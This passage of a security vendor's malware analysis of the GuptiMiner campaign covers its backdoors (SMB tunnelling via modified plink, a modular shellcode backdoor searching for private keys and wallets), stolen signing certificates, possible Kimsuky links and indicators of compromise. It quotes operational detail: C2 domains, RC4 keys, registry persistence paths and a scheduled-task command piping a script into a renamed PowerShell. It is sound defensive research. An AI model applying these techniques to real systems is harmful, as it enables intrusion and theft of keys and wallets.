payload was being distributed here.&nbsp;The Puppeteer’s backdoor setup process was improved and tweaked multiple times during its long development. In the upcoming subsections, we will focus on more important changes, mostly those which influence other parts of the malware or present a whole new functionality.&nbsp;<h3>Later Puppeteer Versions&nbsp;</h3>In later versions, the attackers switched to the datetime mutex paradigm (as illustrated in <a href="https://decoded.avast.io/janrubin/guptiminer-hijacking-antivirus-updates-for-distributing-backdoors-and-casual-mining/#mutexes-in-time">Mutexes in Time</a> section) and also introduced additional process monitoring of more Sysinternals tools like Process explorer, Process monitor, as well as other tools like OllyDbg, WinDbg, and TeamViewer.&nbsp;<h4>Pool Configuration</h4><code>487624b44b43dacb45fd93d03e25c9f6d919eaa6f01e365bb71897a385919ddd</code> <code>(2023-11-21 18:05:43 UTC)&nbsp;</code>Additionally, the GuptiMiner authors also started to modify pool addresses in XMRig configurations with a new approach. They started using subdomains by “<code>r</code>” and “<code>m</code>” depending on the available physical memory on the infected system. If there is at least 3 GB of RAM available, the malware uses: <code>m.domain.tld</code> with <code>auto</code> mode and enabled huge pages.If the available RAM is lesser than 3 GB, it uses: <code>r.domain.tld</code> with <code>light</code> mode and disabled huge pages.In order to not keep things simple, the authors later also started to use “<code>p</code>” as a subdomain in some versions, without any specific reason for the naming convention (perhaps just to say it is a “pool”).&nbsp;The usage of all such domains in time can be seen in the <a href="https://decoded.avast.io/janrubin/guptiminer-hijacking-antivirus-updates-for-distributing-backdoors-and-casual-mining/#domains-in-time">Domains timeline</a>.&nbsp;<h4>Variety in Used DLLs&nbsp;</h4>Puppeteer used many different names and locations of DLLs over the years for sideloading or directly loading using scheduled tasks. For example, these might be:&nbsp;<ul><li><code>C:\Program Files (x86)\eScan\updll3.dll3 </code></li><li><code>C:\Program Files\Common Files\SYSTEM\SysResetErr\SysResetErr.DLL </code></li><li><code>C:\Program Files\Microsoft SQL Server\SpellChecking\MsSpellChecking.DLL </code></li><li><code>C:\Program Files\Microsoft SQL Server\SpellChecking\MsSpellCheckingHost.DLL </code></li><li><code>C:\ProgramData\AMD\CNext\atiadlxx.dll </code></li><li><code>C:\ProgramData\Microsoft\Assistance\LunarG\vulkan-1.dll</code></li><li><code>C:\ProgramData\Microsoft\Crypto\Escan\updll3.dll </code></li><li><code>C:\ProgramData\Microsoft\Crypto\Escan\updll3.dll3 </code></li><li><code>C:\ProgramData\Microsoft\Network\Escan\AutoWake.dll&nbsp;</code></li></ul><h4>Puppeteer Cleanup&nbsp;</h4><code>1c31d06cbdf961867ec788288b74bee0db7f07a75ae06d45d30355c0bc7b09fe</code> <code>(2020-03-09 00:57:11 UTC)</code>We’ve also seen “cleaner” Puppeteers, meaning they didn’t contain the setup process for backdoors, but they were able to delete the malicious DLLs from the system when a running monitoring tool was detected.&nbsp;<h4 id="deploy-per-quarter">Deploy Per-Quarter&nbsp;</h4><code>1fbc562b08637a111464ba182cd22b1286a185f7cfba143505b99b07313c97a4</code> <code>(2021-03-01 10:43:27 UTC)&nbsp;</code>In this particular version, the deployment of the backdoor was performed once every 3 months, indicating a per-quarter deployment.

<h2>Stage 4 – Backdoor&nbsp;</h2>Since no one who puts such an effort into a malware campaign deploys just coinminers on the infected devices, let’s dig deeper into additional sets of GuptiMiner’s functionalities – deploying two types of backdoors on the infected devices.<h3>PuTTY Backdoor&nbsp;</h3><code>07beca60c0a50520b8dbc0b8cc2d56614dd48fef0466f846a0a03afbfc42349d</code> <code>(2021-03-01 10:31:33 UTC)</code> <code>E:\Projects\putty-src\windows\VS2012\x64\Release\plink.pdb</code>One of the backdoors deployed by GuptiMiner is based on a custom build of PuTTY Link (<code>plink</code>). This build contains an enhancement for local SMB network scanning, and it ultimately enables lateral movement over the network to potentially exploit <code>Windows 7</code> and <code>Windows Server 2008</code> machines by tunneling SMB traffic through the victim’s infected device.&nbsp;<h4>Local SMB Scanning&nbsp;</h4>First, the plink binary is injected into netsh.exe process by Puppeteer with the <a href="https://decoded.avast.io/janrubin/guptiminer-hijacking-antivirus-updates-for-distributing-backdoors-and-casual-mining/#deploy-per-quarter">Deploy per-quarter</a> approach. After a successful injection, the malware discovers local IP ranges by reading the IP tables from the victim’s device, adding those into local and global IP range lists.&nbsp;With that, the malware continues with the local SMB scanning over the obtained IP ranges: <code>xx.yy.zz.1-254</code>. When a device supporting SMB is discovered, it is saved in a dedicated list. The same goes with IPs that don’t support SMB, effectively deny listing them from future actions. This deny list is saved in specific registry subkeys named <code>Sem</code> and <code>Init</code>, in this location: <code>HKEY_LOCAL_MACHINE \SYSTEM\CurrentControlSet\Control\CMF\Class</code> where <code>Init</code> contains the found IP addresses and <code>Sem</code> contains their total count.&nbsp;There are conditions taking place when such a scan is performed. For example, the scan can happen only when it is a day in the week <code>(!)</code>, per-quarter deployment, and only at times between 12 PM and 18 PM. Here, we denoted by <code>(!)</code> a unique coding artefact in the condition, since checking the day of the week is not necessary (always true).&nbsp;

Finally, the malware also creates a new registry key <code>HKEY_LOCAL_MACHINE\SYSTEM\RNG\FFFF</code> three hours after a successful scan. This serves as a flag that the scanning should be finished, and no more scanning is needed.&nbsp;An even more interesting datetime-related bug can be seen in a conditioning of <code>RNG\FFFF</code> registry removal. The removal is done to indicate that the malware can perform another SMB scan after a certain period of time.&nbsp;As we can see in the figure below, the malware obtains the write time of the registry key and the current system time by <code>SystemTimeToVariantTime</code> API function and subtracts those. The subtraction result is a floating-point number where the integral part means number of days.&nbsp;Furthermore, the malware uses a constant <code>60*60*60*24=5184000</code> seconds (60 days) in the condition for the registry key removal. However, the condition is comparing <code>VariantTime</code> (days) with seconds. Thus, the backdoor can activate every <code>51.84</code> days instead of the (intended?) 60 days. A true blessing in disguise.&nbsp;

<h4>Lateral Movement Over SMB Traffic&nbsp;</h4>After the local SMB scan is finished, the malware checks from the received SMB packet results whether any of the IP addresses that responded are running <code>Windows 7</code> or <code>Windows Server 2008</code>. If any such a system is found on the local network, the malware adds these IP addresses to a list of potential targets.&nbsp;Furthermore, GuptiMiner executes the <code>main()</code> legacy function from plink with artificial parameters. This will create a tunnel on the port <code>445</code> between the attacker’s server <code>gesucht[.]net</code> and the victim’s device.&nbsp;

This tunnel is used for sending SMB traffic through the victim’s device to the IP addresses from the target list, enabling lateral movement over the local network.&nbsp;Note that this version of Puppeteer, deploying this backdoor, is from 2021. We also mentioned that only <code>Windows 7</code> and <code>Windows Server 2008</code> are targeted, which are rather old. We think this might be because the attackers try to deploy an exploit for possible vulnerabilities on these old systems.&nbsp;To orchestrate the SMB communication, the backdoor hand-crafts SMB packets on the fly by modifying <code>TID</code> and <code>UID</code> fields to reflect previous SMB communication. As shown in the decompiled code below, the SMB <code>packet 4</code>, which is crafted and sent by the malware, contains both <code>TID</code> and <code>UID</code> from the responses of the local network device.&nbsp;

Here we provide an example how the SMB packets look like in Wireshark when sent by the malware. After the connection is established, the malware tries to login as anonymous and makes requests for <code>\IPC$</code> and a named pipe.

Interested reader can find the captured PCAP on our <a href="https://github.com/avast/ioc/blob/master/GuptiMiner/extras/PCAP/smb_backdoor_networking.pcap">GitHub</a>.<h3 id="modular-backdoor">Modular Backdoor&nbsp;</h3><code>f0ccfcb5d49d08e9e66b67bb3fedc476fdf5476a432306e78ddaaba4f8e3bbc4</code> <code>(2023-10-10 15:08:36 UTC)&nbsp;</code>Another backdoor that we’ve found during our research being distributed by Puppeteer is a modular backdoor which targets huge corporate networks. It consists of two phases – the malware scans the devices for the existence of locally stored private keys and cryptocurrency wallets, and the second part is an injected modular backdoor, in the form of a shellcode.&nbsp;<h4>Checks on Private Keys, Wallets, and Corporate Network</h4>This part of the backdoor focuses on scanning for private keys and wallet files on the system. This is done by searching for <code>.pvk</code> and <code>.wallet</code> files in these locations:&nbsp;<ul><li><code>C:\Users\* </code></li><li><code>D:\* </code></li><li><code>E:\* </code></li><li><code>F:\* </code></li><li><code>G:\*&nbsp;</code></li></ul>If there is such a file found in the system, its path is logged in a newly created file <code>C:\Users\Public\Ca.txt</code>. Interestingly, this file is not processed on its own by the code we have available. We suppose the data will be stolen later when further modules are downloaded by the backdoor.&nbsp;The fact that the scan was performed is marked by creating a registry key: <code>HKEY_LOCAL_MACHINE\SYSTEM\Software\Microsoft\DECLAG&nbsp;</code>If some private keys or wallets were found on the system or the malware is running in a huge corporate environment, the malware proceeds with injecting the backdoor, in a form of a shellcode, into the <code>mmc.exe</code> process.&nbsp;The size of the corporate environment is guessed by the same approach as Puppeteer’s <a href="https://decoded.avast.io/janrubin/guptiminer-hijacking-antivirus-updates-for-distributing-backdoors-and-casual-mining/#backdoor-setup">backdoor setup</a> with the difference in the scale. Here, the malware compares the returned list of computers in the domain with 200,000 characters. To recapitulate, the data printed by the <code>net group</code> command uses 25 characters per domain joined computer plus a newline (<code>CR+LF</code>) per every three computers.&nbsp;

This effectively means that the network in which the malware operates must have at least 7781 computers joined in the domain, which is quite a large number.<h4>Backdoor</h4><code>8446d4fc1310b31238f9a610cd25ea832925a25e758b9a41eea66f998163bb34&nbsp;</code>This shellcode is a completely different piece of code than what we’ve seen so far across GuptiMiner campaign. It is designed to be multi-modular with the capability of adding more modules into the execution flow. Only a networking communication module, however, is hardcoded and available by default, and its hash is <code>74d7f1af69fb706e87ff0116b8e4fa3a9b87275505e2ee7a32a8628a2d066549 (2022-12-19 07:31:39 UTC)</code>.&nbsp;After the injection, the backdoor decrypts a hardcoded configuration and a hardcoded networking module using RC4. The RC4 key is also hardcoded and available directly in the shellcode.&nbsp;The configuration contains details about which server to contact, what ports to use, the length of&nbsp;delays that should be set between commands/requests, among others. The domain for communication in this configuration is <code>www.righttrak[.]net:443</code> and an IP address <code>185.248.160[.]141</code>.

The network module contains seven different commands that the attacker can use for instructing the backdoor about what to do. A complete list of commands accepted by the network module can be found in the table below. Note that each module that can be used by the backdoor contains such a command handler on its own.&nbsp;

The modules are stored in an encrypted form in the registry, ensuring their persistence: <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCB</code>The backdoor also uses an import by hash obfuscation for resolving API functions. The hashing function is a simple algorithm that takes each byte of the exported function name, adds 1 to it, and then multiplies the previously calculated number (<code>calculated_hash</code>, starts with 0) by 131 and adds it to the byte:The server <code>www.righttrak[.]net:443</code> had, at the time, a valid certificate. Note for example the not-at-all-suspicious email address the authors used.&nbsp;

<h4 id="other-infection-vectors-modular-backdoor">Other Infection Vectors of Modular Backdoor</h4><code>af9f1331ac671d241bf62240aa52389059b4071a0635cb9cb58fa78ab942a33b</code>During our research, we have also found a 7zip SFX executable containing two files:&nbsp;<ul><li><code>ms00.dat</code> </li><li><code>notepad.exe</code>&nbsp;</li></ul><code>notepad.exe</code> is a small binary that decrypts <code>ms00.dat</code> file using RC4 with a key <code>V#@!1vw32</code>. The decrypted <code>ms00.dat</code> file is the same Modular Backdoor malware as described above.&nbsp;However, we have not seen this SFX executable being distributed by GuptiMiner. This indicates that this backdoor might be distributed by different infection vectors as well.&nbsp;<h2>Related and Future Research</h2>We’ve also observed other more or less related samples during our research.&nbsp;<h3>PowerShell Scripts</h3>Interestingly, we’ve found the C&amp;C domain from the backdoor setup phase (in Puppeteer) in additional scripts as well which were not distributed by traditional GuptiMiner operation as we know it. We think this might be a different kind of attack sharing the GuptiMiner infrastructure, though it might be a different campaign. Formatted PowerShell script can be found below:&nbsp;

In this case, the payload is downloaded and executed from the malicious domain only when an antivirus is installed, and its name has more than 4 letters and starts with <code>eS</code>. One does not have to be a scrabble champion to figure out that the malware authors are targeting the eScan AV once again. The malicious code is also run when the name of the installed AV has less than 5 letters.&nbsp;We’ve found this script being run via a scheduled task with a used command: <code>"cmd.exe" /c type "\&lt;domain&gt;\SYSVOL\&lt;domain&gt;\scripts\gpon.inc" | "\&lt;domain&gt;\SYSVOL\&lt;domain&gt;\scripts\powAMD64.dat" -nop -&nbsp;</code> where <code>powAMD64.dat</code> is a copy of <code>powershell.exe</code>. The task name and location was <code>C:\Windows\System32\Tasks\ScheduledDefrag&nbsp;</code><h3>Usage of Stolen Certificates&nbsp;</h3>We have found two stolen certificates used for signing GuptiMiner payloads. Interestingly, one of the used stolen certificates originates in Winnti operations. In this particular sample, the digital signature has a hash:&nbsp; <code>529763AC53562BE3C1BB2C42BCAB51E3AD8F8A56</code>&nbsp;This certificate is the same as mentioned by <a href="https://securelist.com/winnti-more-than-just-a-game/37029/">Kaspersky</a> more than 10 years ago. However, we’ve also seen this certificate to be used in multiple malware samples than just GuptiMiner, though, indicating a broader leak.&nbsp;A complete list of stolen certificates and their usage can be found in the table below:&nbsp;

<h3>Possible Ties to Kimsuky&nbsp;</h3><code>7f1221c613b9de2da62da613b8b7c9afde2ea026fe6b88198a65c9485ded7b3d</code> <code>(2021-03-06 20:13:32 UTC)&nbsp;</code>During our research, we’ve also found an information stealer which holds a rather similar PDB path as was used across the whole GuptiMiner campaign (<code>MainWork</code>): <code>F:\!PROTECT\Real\startW-2008\MainWork\Release\MainWork.pdb</code>&nbsp;However, we haven’t seen it distributed by GuptiMiner and, according to our data, it doesn’t belong to the same operation and infection chain. This malware performs stealing activities like capturing every keystroke, harvesting HTML forms from opened browser tabs, noting times of opened programs, etc., and stores them in log files.&nbsp;What is truly interesting, however, is that this information stealer might come from Kimsuky operations. Also known as Black Banshee, among other aliases, Kimsuky is a North Korean state-backed APT group.&nbsp;It contains the similar approach of searching for AhnLab real-time detection window class name <code>49B46336-BA4D-4905-9824-D282F05F6576</code> as mentioned by both <a href="https://asec.ahnlab.com/en/31089/">AhnLab</a> as well as <a href="https://blog.talosintelligence.com/kimsuky-abuses-blogs-delivers-malware/">Cisco Talos Intelligence</a> in their Information-gathering module section. If such a window is found, it will be terminated/hidden from the view of the infected user.&nbsp;

Furthermore, the stealer contains an encrypted payload in resources, having a hash: <code>d5bc6cf988c6d3c60e71195d8a5c2f7525f633bb54059688ad8cfa1d4b72aa6c (2021-02-19 19.02.2021 15:00:47 UTC)</code> and it has this PDB path: <code>F:\PROTECT\Real\startW-2008\HTTPPro\Release\HTTPPro.pdb</code>&nbsp;This module is decrypted using the standard RC4 algorithm with the key <code>messi.com</code>. The module is used for downloading additional stages. One of the used URLs are: <code>http://stwu.mygamesonline[.]org/home/sel.php</code> <code>http://stwu.mygamesonline[.]org/home/buy.php?filename=%s&amp;key=%s</code>&nbsp;The domain <code>mygamesonline[.]org</code> is commonly used by Kimsuky (with variety of subdomains).&nbsp;The keylogger also downloads next stage called <code>ms12.acm</code>:&nbsp;

With this, we see a possible pattern with the naming convention and a link to Modular Backdoor. As described in the <a href="https://decoded.avast.io/janrubin/guptiminer-hijacking-antivirus-updates-for-distributing-backdoors-and-casual-mining/#other-infection-vectors-modular-backdoor">Other Infection Vectors</a> section, the 7z SFX archive contains an encrypted file called <code>ms00.dat</code> with which we struggle to ignore the resemblance.Last but not least, another strong indicator for a possible attribution is the fact that the Kimsuky keylogger sample <code>dddc57299857e6ecb2b80cbab2ae6f1978e89c4bfe664c7607129b0fc8db8b1f</code>, which is mentioned in the same blogpost from Talos, contains a section called <code>.vlizer</code>, as seen below:&nbsp;

During the GuptiMiner installation process (<a href="https://decoded.avast.io/janrubin/guptiminer-hijacking-antivirus-updates-for-distributing-backdoors-and-casual-mining/#installation-process">Stage 0</a>), we wrote about the threat actors introducing <a href="https://decoded.avast.io/janrubin/guptiminer-hijacking-antivirus-updates-for-distributing-backdoors-and-casual-mining/#code-virtualization">Code Virtualization</a> in 2018. This was done by using a dedicated section called <code>.v_lizer</code>.&nbsp;<h2>Conclusion&nbsp;</h2>In this analysis, we described our findings regarding a long-standing threat we called GuptiMiner, in detail. This sophisticated operation has been performing MitM attacks targeting an update mechanism of the eScan antivirus vendor. We disclosed the security vulnerability to both eScan and the India CERT and received confirmation on 2023-07-31 from eScan that the issue was fixed and successfully resolved.&nbsp;During the GuptiMiner operation, the attackers were deploying a wide chain of stages and functionalities, including performing DNS requests to the attacker’s DNS servers, sideloading, extracting payloads from innocent-looking images, signing its payloads with a custom trusted root anchor certification authority, among others.&nbsp;Two different types of backdoors were discovered, targeting large corporate networks. The first provided SMB scanning of the local network, enabling lateral movement over the network to potentially exploit vulnerable Windows 7 and Windows Server 2008 systems on the network. The second backdoor is multi-modular, accepting commands on background to install more modules as well as focusing on stealing stored private keys and cryptowallets.&nbsp;Interestingly, the final payload distributed by GuptiMiner was also XMRig which is a bit unexpected for such a thought-through operation.&nbsp;We have also found possible ties to Kimsuky, a notorious North Korean APT group, while observing similarities between Kimsuky keylogger and fragments discovered during the analysis of the GuptiMiner operation.&nbsp;<h2>eScan follow-up</h2>We have shared our findings and our research with eScan prior to publishing this analysis. For the sake of completeness, we are including their statement on this topic:“I would also like to highlight some key points: 1. Our records indicate that the last similar report was received towards the end of the year 2019. 2. Since 2020, we have implemented a stringent checking mechanism that utilizes EV Signing to ensure that non-signed binaries are rejected. 3. Multiple heuristic rules have been integrated into our solution to detect and block any instances of legitimate processes being used for mining, including the forking of unsigned binaries. 4. While our internal investigations did not uncover instances of the XRig miner, it is possible that this may be due to geo-location factors. 5. Our latest solution versions employ secure (https) downloads, ensuring encrypted communication when clients interact with our cloud-facing servers for update downloads.”According to our telemetry, we continue to observe new infections and GuptiMiner builds within our userbase. This may be attributable to eScan clients on these devices not being updated properly.<h2 id="ioc">Indicators of Compromise (IoCs)</h2>In this section, we would like to summarize the Indicators of Compromise mentioned in this analysis. As they are indicators, it doesn’t automatically mean the mentioned files and/or domains are malicious on their own.&nbsp;For more detailed list of IoCs of the whole GuptiMiner campaign, please visit our <a href="https://github.com/avast/ioc/tree/master/GuptiMiner">GitHub</a>.<h3>Evolution and Timelines&nbsp;</h3><h4>Domains</h4>

<h4>PDB paths&nbsp;</h4>

<h3>Stage 0 – Installation Process&nbsp;</h3>

<h3>Stage 0.9 – Installation Improvements&nbsp;</h3><h3>Stage 1 – PNG Loader&nbsp;</h3>

<h3>Stage 2 – Gzip Loader&nbsp;</h3>

<h3>Stage 3 – Puppeteer&nbsp;</h3>

Milánek

Posts by Milánek

A 12 KB Backdoor Hid Its C2 Domain in desktop.ini Whitespace

AliGater: Malvertising chasing users of outdated windows in Europe

GuptiMiner: Hijacking Antivirus Updates for Distributing Backdoors and Casual Mining